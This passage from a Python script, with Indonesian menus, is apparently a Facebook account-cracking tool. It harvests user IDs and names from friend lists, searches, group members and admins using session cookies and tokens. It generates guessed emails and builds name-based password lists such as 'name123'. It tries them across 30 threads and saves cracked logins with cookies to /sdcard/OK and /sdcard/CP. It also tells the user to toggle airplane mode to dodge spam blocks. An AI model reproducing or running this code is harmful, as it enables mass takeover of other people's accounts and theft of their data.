  415.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan File Dump Anda Sesuai Tempat Menyimpan File Dump, Banyaknya File Dump Bisa Menggunakan Koma, Misalnya :[italic green] /sdcard/dump1.txt,/sdcard/dump2.txt[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  416.                 username = Console().input("[bold grey50]   ╰─> ")
  417.                 for self.username in username.split(','):
  418.                     try: self.Clone_Files(self.username)
  419.                     except (Exception, requests.exceptions.ChunkedEncodingError, requests.exceptions.ConnectionError, KeyboardInterrupt): pass
  420.                 if len(dump) < 50:
  421.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah ID Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan ID Yang Terkumpul lebih Dari 50 ID!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  422.                     exit()
  423.                 else:
  424.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  425.                     self.Methode()
  426.             except (Exception) as e:
  427.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  428.                 exit()                
  429.                
  430.         elif query == '06' or query == '6':
  431.             try: file = os.listdir('/sdcard/CP')
  432.             except (Exception) as e:
  433.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  434.                 exit()
  435.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic yellow]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]File CP[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  436.             Console(width=65).print(Panel('[bold white]Detedtor CP, Masukan Nama File, Misalnya : [bold yellow]CP-18-Maret-2024[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
  437.             files = Console().input("[bold grey50]   ╰─> ")
  438.             Console(width = 65).print(Panel('[italic green]Mode Pesawat Terlebih Dahulu 5 Detik, Agar Terhindar Dari Spam!!',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Warning Spam[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50', subtitle = "╭─────", subtitle_align = "left"))
  439.             Console().input("[bold grey50]   ╰─> Tekan Enter!!")
  440.             for buka in open('/sdcard/CP/'+str(files)).readlines():
  441.                 try:
  442.                     username, password = buka.split('|')[0], buka.split('|')[1]
  443.                     self.DetedtorChekpoint(username, password)
  444.                 except (Exception) as e:
  445.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  446.                     exit()      
  447.                
  448.         elif query == '08' or query == '8':
  449.             try:
  450.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Satu Nama, Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] dinda, rahmawati[bold white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  451.                 username = Console().input("[bold grey50]   ╰─> ")
  452.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Total Dump Email, Dump Email Dengan Jumlah Di Wajibkan Melebihi [bold red]2000!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  453.                 total = Console().input("[bold grey50]   ╰─> ")
  454.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Satu Domain, Example :[italic green] @gmail.com, @yahoo.com dan lainnya", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  455.                 domain = Console().input("[bold grey50]   ╰─> ")
  456.                 for self.username in username.split(','):
  457.                     try: self.Clone_Email(self.username, total, domain)
  458.                     except (Exception, requests.exceptions.ChunkedEncodingError, requests.exceptions.ConnectionError, KeyboardInterrupt): pass
  459.                 if len(dump) < 50:
  460.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Email Terlalu Sedikit, Dump Email Harus Melebihi 50 Email Dan Pastikan Target Nama Umum!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  461.                     exit()
  462.                 else:
  463.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  464.                     self.Methode()
  465.             except (Exception) as e:
  466.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  467.                 exit()    
  468.                
  469.         elif query == '09' or query == '9':
  470.             try:
  471.                 Console(width=65).print(Panel('[bold green]01[bold white]. Chek Result OK\n[bold green]02[bold white]. Chek Result CP',style='bold grey50'), justify='center')
  472.                 choose = Console().input("[bold grey50]   ╰─> ")
  473.                 if choose =='01' or choose =='1':
  474.                     try: file = os.listdir('/sdcard/OK')
  475.                     except (Exception) as e:
  476.                         Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  477.                         exit()
  478.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic green]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]File OK[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  479.                     Console(width=65).print(Panel('[bold white]Chek File OK, Masukan Nama File, Misalnya : [bold green]ok-Facebook-2024.txt[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
  480.                     files = Console().input("[bold grey50]   ╰─> ")
  481.                     self.Result(choose,files)
  482.                     exit()                    
  483.                 elif choose =='02' or choose =='2':
  484.                     try:
  485.                         file = os.listdir('/sdcard/CP')
  486.                     except (Exception) as e:
  487.                         Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  488.                         exit()
  489.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic yellow]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]File CP[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  490.                     Console(width=65).print(Panel('[bold white]Chek File CP, Masukan Nama File, Misalnya : [bold yellow]cp-Facebook-2024.txt[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
  491.                     files = Console().input("[bold grey50]   ╰─> ")
  492.                     self.Result(choose,files)
  493.                     exit()
  494.                 else:
  495.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Pilihan Yang Kamu Masukan Tidak Ada Di Dalam Menu Chek Result!", title = "[bold red]>[bold yellow]>[bold green]>[bold blue] (Error) [bold green]<[bold yellow]<[bold red]<"))
  496.                     exit()  
  497.             except (Exception) as e:
  498.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  499.                 exit()
  500.                              
  501.         elif query == '00' or query == '0':
  502.             try: self.deled_dst()
  503.             except (Exception) as e:
  504.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold blue50]) [bold green]<[bold yellow]<[bold red]<"))
  505.                 exit()
  506.         else:
  507.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Pilihan Yang Kamu Masukan Tidak Ada Di Dalam Menu Facebook!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  508.             exit()    
  509.    
  510.     def Result(self, result, isi):
  511.         if result in ('1','01'):
  512.             for buka in open(f'/sdcard/OK/'+str(isi)).readlines():
  513.                 try: tree = Tree(f'\r╭ logged in user',style='green'); true = tree.add(f"Username {buka.split('|')[0]}"); true.add(f"Password {buka.split('|')[1]}"); true.add(f"Teman {buka.split('|')[2]}"); true.add(f"Tanggal Lahir {buka.split('|')[3]}"); true = tree.add(f"Cookie {buka.split('|')[4]}"); tree.add("Success cek in Result OK"); printz(tree)
  514.                 except Exception as e: tree = Tree(f'\r╭ logged in user',style='green'); true = tree.add(f"Username {buka.split('|')[0]}"); true.add(f"Password {buka.split('|')[1]}"); true = tree.add(f"Cookie {buka.split('|')[2]}"); tree.add("Success cek in Result OK"); printz(tree)
  515.                    
  516.         elif result in ('2','02'):
  517.             for buka in open(f'/sdcard/CP/'+str(isi)).readlines():
  518.                 try: tree = Tree(f'\r╭ logged in checkpoint',style='yellow'); true = tree.add(f"Username {buka.split('|')[0]}"); true.add(f"Password {buka.split('|')[1]}"); tree.add("Success cek in Result CP"); printz(tree)
  519.                 except Exception: tree = Tree(f'\r╭ logged in checkpoint',style='yellow'); true = tree.add(f"Username {buka.split('|')[0]}"); true.add(f"Password {buka.split('|')[1]}"); tree.add("Success cek in Result CP"); printz(tree)
  520.  
  521.     def Dump_Friends(self,username,token,cookie):
  522.         with requests.Session() as r:
  523.             try:
  524.                resp = r.get(f'https://graph.facebook.com/{username}?fields=friends.fields(id,name)&limit=5000&access_token={token[1]}', cookies={'cookie':cookie[0]}).json()
  525.                for i in resp['friends']['data']:
  526.                    uid, name = i['id'], i['name']
  527.                    if uid+'<=>'+name not in dump:
  528.                        dump.append(uid+'<=>'+name)
  529.                        Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(uid)[:20]}/{len(dump)} ID...     ", end='\r')
  530.             except (AttributeError, KeyboardInterrupt) as e: pass
  531.            
  532.     def Dump_Nama(self, url, cookie, cursor):
  533.         with requests.Session() as r:
  534.             try:
  535.                 curl = bs(r.get(url, headers = Requ().headers_get(), cookies = {'cookie': cookie[0]}, allow_redirects=True).text,'html.parser')
  536.                 self.payload = Requ().payload(curl)
  537.                 self.payload.update({
  538.                     'fb_api_req_friendly_name': 'SearchCometResultsPaginatedResultsQuery',
  539.                     'variables':json.dumps({"UFI2CommentsProvider_commentsKey":"SearchCometResultsInitialResultsQuery","allow_streaming":False,"args":{"callsite":"COMET_GLOBAL_SEARCH","config":{"exact_match":False,"high_confidence_config":None,"intercept_config":None,"sts_disambiguation":None,"watch_config":None},"context":{"bsid":re.search('"bsid":"(.*?)"',str(curl)).group(1),"tsid":None},"experience":{"encoded_server_defined_params":None,"fbid":None,"type":"PEOPLE_TAB"},"filters":[],"text":url.split('=')[-1].replace('+',' ')},"count":5,"cursor":cursor,"displayCommentsContextEnableComment":False,"displayCommentsContextIsAdPreview":False,"displayCommentsContextIsAggregatedShare":False,"displayCommentsContextIsStorySet":False,"displayCommentsFeedbackContext":None,"feedLocation":"SEARCH","feedbackSource":23,"fetch_filters":True,"focusCommentID":None,"locale":None,"privacySelectorRenderLocation":"COMET_STREAM","renderLocation":"search_results_page","scale":1.5,"stream_initial_count":0,"useDefaultActor":False,"__relay_internal__pv__IsWorkUserrelayprovider":False,"__relay_internal__pv__IsMergQAPollsrelayprovider":False,"__relay_internal__pv__CometUFIReactionsEnableShortNamerelayprovider":False,"__relay_internal__pv__CometUFIIsRTAEnabledrelayprovider":False,"__relay_internal__pv__StoriesArmadilloReplyEnabledrelayprovider":False,"__relay_internal__pv__StoriesRingrelayprovider":False}),
  540.                     'server_timestamps':True,
  541.                     'doc_id':'7704205549605925'
  542.                 })
  543.                 resp = r.post('https://www.facebook.com/api/graphql/', data = self.payload, headers = Requ().headers_post(), cookies={'cookie': cookie[0]}).json()
  544.                 for i in resp['data']['serpResponse']['results']['edges']:
  545.                     uid, nama = i['relay_rendering_strategy']['view_model']['loggedProfile']['id'], i['relay_rendering_strategy']['view_model']['loggedProfile']['name']
  546.                     if uid+'<=>'+nama not in dump:
  547.                         dump.append(uid+'<=>'+nama)
  548.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump {len(dump)} User ID...     ", end='\r')
  549.                 if resp['data']['serpResponse']['results']['page_info']['has_next_page']:
  550.                     cursor = resp['data']['serpResponse']['results']['page_info']['end_cursor']
  551.                     self.Dump_Nama(url,cookie,cursor)
  552.             except (AttributeError, KeyboardInterrupt) as e: pass      
  553.            
  554.     def Dump_Member(self, username, cookie, cursor):
  555.         with requests.Session() as r:
  556.             try:
  557.                 curl = r.get('https://www.facebook.com/groups/%s/members'%(username), headers = Requ().headers_get(), cookies = {'cookie': cookie[0]}, allow_redirects=True).text
  558.                 self.payload = Requ().payload(curl)
  559.                 self.payload.update({
  560.                     'fb_api_req_friendly_name': 'GroupsCometMembersPageNewMembersSectionRefetchQuery',
  561.                     'server_timestamps':True,
  562.                     'doc_id':'6621621524622624',
  563.                     'variables':json.dumps({"count":10,"cursor":cursor,"groupID": re.search('"groupID":"(.*?)"',str(curl)).group(1),"recruitingGroupFilterNonCompliant":False,"scale":1.5,"id": re.search('"groupID":"(.*?)"',str(curl)).group(1)})
  564.                 })
  565.                 resp = r.post('https://www.facebook.com/api/graphql/', data = self.payload, headers = Requ().headers_post(), cookies={'cookie': cookie[0]}).json()
  566.                 for i in resp['data']['node']['new_members']['edges']:
  567.                     uid, nama = i['node']['id'], i['node']['name']
  568.                     if uid+'<=>'+nama not in dump:
  569.                         dump.append(uid+'<=>'+nama)
  570.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump {len(dump)} User ID...     ", end='\r')
  571.                 if resp['data']['node']['new_members']['page_info']['has_next_page']:
  572.                     cursor = resp['data']['node']['new_members']['page_info']['end_cursor']
  573.                     self.Dump_Member(username,cookie,cursor)
  574.             except (AttributeError, KeyboardInterrupt) as e: pass            
  575.        
  576.     def Dump_Admin(self, url, cookie):
  577.         with requests.Session() as r:
  578.             try:
  579.                 link = r.get(url, cookies={'cookie':cookie[0]}).text
  580.                 cari = re.findall('<a\s+href="([^"]+)"><div class\=\".*?"><div class\=\".*?">([^<]+)</div>', str(link))
  581.                 for x in cari:
  582.                     if "groups" in x[0]:
  583.                         xx =r.get(f"https://mbasic.facebook.com/groups/{re.search('groups/(.*?)/', x[0]).group(1)}?view=members", cookies={'cookie':cookie[0]})
  584.                         if "Admin dan Moderator" in str(xx.text):
  585.                             carz = re.findall('<h3><a class\=\".*?" href="(.*?)">(.*?)</a></h3>', xx.text)
  586.                             for i in carz:
  587.                                 if "profile.php?" in i[0]: uid, nama = re.findall("id=(.*?)&amp;eav", i[0])[0], i[1]
  588.                                 else: uid, nama = re.findall("/(.*?)\?eav", i[0])[0], i[1]
  589.                         else: continue
  590.                         if uid+'<=>'+nama not in dump: dump.append(uid+'<=>'+nama)
  591.                     else: continue
  592.                     Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(uid)[:20]}/{len(uid)} Admin...     ", end='\r')
  593.                 if "Lihat Hasil Selanjutnya" in link:
  594.                     self.Dump_Admin(bs(link, "html.parser").find("a", string="Lihat Hasil Selanjutnya").get("href"), cookie)
  595.             except (AttributeError, KeyboardInterrupt) as e: pass            
  596.        
  597.     def Clone_Email(self, nama, total, doma):
  598.         orang = ['dinda','adinda','rahma','rahmawati','suci','sucika','cantik','cantika','bagus','bagusin','bagas','bagasin','ulfah','ilham','ilhamsyah','randu','rindu','sayang','sayangku','cinta','cintaku','opah','fatimah','fatih','basuki','munir','munawirul','kolbi','zulkifli','ayahab','putriani','ahmadun','ahmad','puspita','mita','dika','rahman','rohman','alvino','aldino','khan','syarif','sarip','sarifuddin','saifuddin','kafabih','ridho','tito','afif','afifatur']
  599.         with ThreadPoolExecutor(max_workers=5):
  600.             for bukan_kaleng in range(int(total)):
  601.                 dumping = random.choice([
  602.                     f'{nama}{random.randint(0,999)}{doma}',
  603.                     f"{nama}{random.choice(orang)}{random.randint(0,999)}{doma}",
  604.                     f"{nama}{random.choice(orang)}{doma}",
  605.                     f"{nama}{random.choice(orang)}{str(random.randint(0,99))}{doma}"
  606.                 ])
  607.                 if dumping not in dump: dump.append(dumping+'<=>'+nama)
  608.                 Console().print(f"[bold grey50]   ╰─>[bold green] Dump {len(dump)} User mail...     ", end='\r')
  609.             if int(len(dump)) == total: return(int(total))
  610.         return dump
  611.        
  612.     def Clone_Files(self, username):
  613.        try:
  614.             for buka in open(self.username,'r').readlines():
  615.                 try: uid, name = buka.split('|')[0], buka.split('|')[1]
  616.                 except: continue
  617.                 if uid+'<=>'+name not in dump: dump.append(uid+'<=>'+name)
  618.                 Console().print(f"[bold grey50]   ╰─>[bold green] Dump {len(dump)} ID...     ", end='\r')
  619.        except (Exception, FileNotFoundError) as e:
  620.            Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  621.            exit()
  622.        
  623.     def Methode(self):
  624.         try:
  625.             self.kilo.append(Panel(f'[bold green]01.[bold white] Methode [bold green]Web Meta\n[bold green]02.[bold white] Methode [bold green]Asyinc Ins', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Only[bold grey50]) [bold green]<[bold yellow]<[bold red]<', width = 32, style='bold grey50', subtitle = "╭─────", subtitle_align = "left"))
  626.             self.kilo.append(Panel(f'[bold green]03.[bold white] Methode [bold green]Bapi\n[bold green]04.[bold white] Methode [bold green]Graph', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Api[bold grey50]) [bold green]<[bold yellow]<[bold red]<', width = 32, style='bold grey50'))
  627.             Console().print(Columns(self.kilo))
  628.             Kntl = Console().input("[bold grey50]   ╰─> ")
  629.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Apakah Anda Ingin Menampilkan [italic green]Aplikasi, Teman, Tanggal lahir[italic white] Yang Terkait Di Dalam Akun!, Ketik [italic green]ya/y[italic white] Jika Ingin Menampilkan Opsi Dan Ketik [italic red]tidak/t[italic white] Jika Tidak Ingin Menampilkan Opsi Tersebut!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menampilkan Opsi Akun[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  630.             Secure_Akun = Console().input("[bold grey50]   ╰─> ")
  631.             if Secure_Akun =='y' or Secure_Akun =='ya': self.opsi.append('ya')
  632.             else: self.opsi.append('tidak')
  633.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Useragent Ketik [italic red]tidak/t[italic white] Jika Anda Ingin Menggunakan Useragent Bawaan Script, Ketik [italic yellow]sendiri[italic white] Jika Anda Ingin Menggunakan Useragent Anda Sendiri Dan Ketik [italic green]scrapt[italic white] Jika Anda Ingin Menggunakan Useragent Tunggal Scrapt Dari Website [italic white]([italic blue]https://user-agents.net[italic white])", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menu Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  634.             Ua_Akun = Console().input("[bold grey50]   ╰─> ")
  635.             if Ua_Akun =='sendiri' or Ua_Akun =='Sendiri':
  636.                 self.uaman.append('ya')
  637.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Useragent Anda, Anda Juga Bisa Menggunkan Useragent Baawaan Hp Anda [italic white]([italic green]my user agent[italic white])", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Masukan Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  638.                 Mugu = Console().input("[bold grey50]   ╰─> ")
  639.                 self.uaku.append(Mugu)
  640.             elif Ua_Akun =='scrapt' or Ua_Akun =='Scrapt':
  641.                 self.uaman.append('ya')
  642.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Daftar Useragent Dari Website [italic white]([italic blue]https://user-agents.net[italic white]) Yaitu : [italic green]Windows Edge, Windows Vivaldi, Nokia Browser, Vivo Browser, Samsung Browser, Redmi Browser, Oppo Browser, Huawei Browser[italic white] Silakan Masukan Pilihan Anda, Misal : [italic green]Windows Browser", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Masukan Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  643.                 Web = Console().input("[bold grey50]   ╰─> ").lower()
  644.                 if Web =='windows edge': usd = self.Scraper_Useragent('https://user-agents.net/browsers/edge')
  645.                 elif Web =='windows vivaldi': usd = self.Scraper_Useragent('https://user-agents.net/browsers/vivaldi')
  646.                 elif Web =='nokia browser': usd = self.Scraper_Useragent('https://user-agents.net/browsers/nokia-proxy-browser')
  647.                 elif Web =='vivo browser': usd = self.Scraper_Useragent('https://user-agents.net/browsers/vivo-browser')
  648.                 elif Web =='samsung browser': usd = self.Scraper_Useragent('https://user-agents.net/browsers/samsung-browser')
  649.                 elif Web =='redmi browser': usd = self.Scraper_Useragent('https://user-agents.net/browsers/miui-browser')
  650.                 elif Web =='oppo browser': usd = self.Scraper_Useragent('https://user-agents.net/browsers/oppo-browser/platforms/android')
  651.                 elif Web =='huawei browser': usd = self.Scraper_Useragent('https://user-agents.net/browsers/huaweibrowser')
  652.                 self.uaku.append(usd)
  653.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic green]{usd}", title = f"[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]{Web}[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  654.             else: self.uaman.append('tidak')
  655.             self.Exec_Password(Kntl)
  656.         except (Exception) as e:
  657.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  658.             exit()
  659.            
  660.     def Scraper_Useragent(self, url, en=[]):
  661.         with requests.Session() as r:
  662.             try:
  663.                 resp = r.get(url,headers={'user-agent': 'Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'}).text
  664.                 cari = re.findall("<li><a href\=\'(.*?)\'\>(.*?)\<\/a\>", resp)
  665.                 for buka in cari:
  666.                     if "Mozilla" in str(buka):
  667.                         if buka not in en:en.append(buka[1])
  668.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump {len(en)} Useragent...     ", end='\r')
  669.                 return(buka[1])
  670.             except (Exception) as e:
  671.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  672.                 exit()  
  673.            
  674.     def Exec_Password(self, Kntl):
  675.         try:
  676.             Console(width = 65, style = "bold grey50").print(Panel('''[bold white][bold green]01[bold white]. Username, Nama Depan Dan Belakang [bold green]123,12345\n[bold white][bold green]02[bold white]. Username, Nama Depan Dan Belakang [bold green]123, 1234, 12345\n[bold white][bold green]03[bold white]. Bismillah, Sayang, Nama Depan Dan Belakang [bold green]12345\n[bold white][bold green]04[bold white]. Gunakan Password Manual Dari Pemasukan Anda''', title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menu Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  677.             Password_Akun = Console().input("[bold grey50]   ╰─> ")
  678.             if Password_Akun in ('04') or Password_Akun in ('4'):
  679.                 self.masukan_sandine.append('ya')
  680.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silakan Masukan Password Anda, Misalnya : [italic green]Kamu Nanya, Jakarta, Semarang, Boyolali, Kebumen[italic white] Dan Lainnya!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Masukan Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  681.                 Masukan_Password = Console().input("[bold grey50]   ╰─> ")
  682.                 for ops in Masukan_Password.split(','):
  683.                     self.password_manuale.append(ops)                
  684.             self.Password_Tambah(Kntl, Password_Akun)
  685.         except (Exception) as e:
  686.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  687.             exit()      
  688.            
  689.     def Password_Tambah(self,Kntl, Password_Akun):
  690.         try:
  691.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Apakah Anda Ingin Menambahkan [italic green]Password Manual[italic white] Untuk Melakukan Crack Akun!, Ketik [italic green]ya/y[italic white] Jika Ingin Menambahkan Password Dan Ketik [italic red]tidak/t[italic white] Jika Tidak Ingin Menambahkan Password Akun!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menambahkan Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  692.             Zigarete = Console().input("[bold grey50]   ╰─> ")
  693.             if Zigarete == 'y' or Zigarete =='ya':
  694.                 self.masukan_sandi.append('ya')
  695.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silakan Masukan Password Anda, Misalnya : [italic green]Kamu Nanya, Jakarta, Semarang, Boyolali, Kebumen[italic white] Dan Lainnya!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Masukan Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  696.                 Masukan_Password = Console().input("[bold grey50]   ╰─> ")
  697.                 for ops in Masukan_Password.split(','): self.password_manual.append(ops)
  698.                
  699.             else: self.masukan_sandi.append('no')
  700.             self.Exec_Methode(Kntl, Password_Akun)
  701.         except (Exception) as e:
  702.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  703.             exit()    
  704.  
  705.     def Exec_Methode(self, Kntl, Password_Akun):
  706.         Console(width = 65, style = "bold grey50").print(Panel(f"[bold green]•[bold white] Result [bold green]OK[bold white] Tersimpan Di : /sdcard/OK/[bold green]ok-{self.alt}\n[bold green]•[bold white] Result [bold red]CP[bold white] Tersimpan Di : /sdcard/CP/[bold red]cp-{self.alt}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Result Facebook[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  707.         Console(width = 65).print(Panel('[italic green]Mainkan Mode Pesawat Setiap 200 Looping Agar Terhindar Spam!',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Warning Spam[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'))
  708.         with ThreadPoolExecutor(max_workers=30) as V:
  709.             for Username_And_Fullname in dump:
  710.                 username, fullname = Username_And_Fullname.split('<=>')
  711.                 self.password = []
  712.                 if Password_Akun =='01' or Password_Akun =='1':
  713.                     for nama in fullname.split(' '):
  714.                         if len(nama) < 3:
  715.                             continue
  716.                         else:
  717.                             for passwords in [f'{nama}123', f'{nama}12345']:
  718.                                 if len(passwords) < 6 or str(passwords).isalnum() == False or len(fullname.split(' ')) > 5:
  719.                                     continue
  720.                                 else:
  721.                                     self.password.append(f'{str(passwords).lower()}')
  722.                     for passwords in [f'{fullname}', f'{fullname.replace(" ", "")}']:
  723.                         if len(passwords) < 6 or str(passwords).replace(' ', '').isalnum() == False:
  724.                             continue
  725.                         else:
  726.                             self.password.append(f'{str(passwords).lower()}')
  727.                 elif Password_Akun =='02' or Password_Akun =='2':
  728.                     for nama in fullname.split(' '):
  729.                         if len(nama) < 3:
  730.                             continue
  731.                         else:
  732.                             for passwords in [f'{nama}123', f'{nama}1234', f'{nama}12345']:
  733.                                 if len(passwords) < 6 or str(passwords).isalnum() == False or len(fullname.split(' ')) > 5:
  734.                                     continue
  735.                                 else:
  736.                                     self.password.append(f'{str(passwords).lower()}')
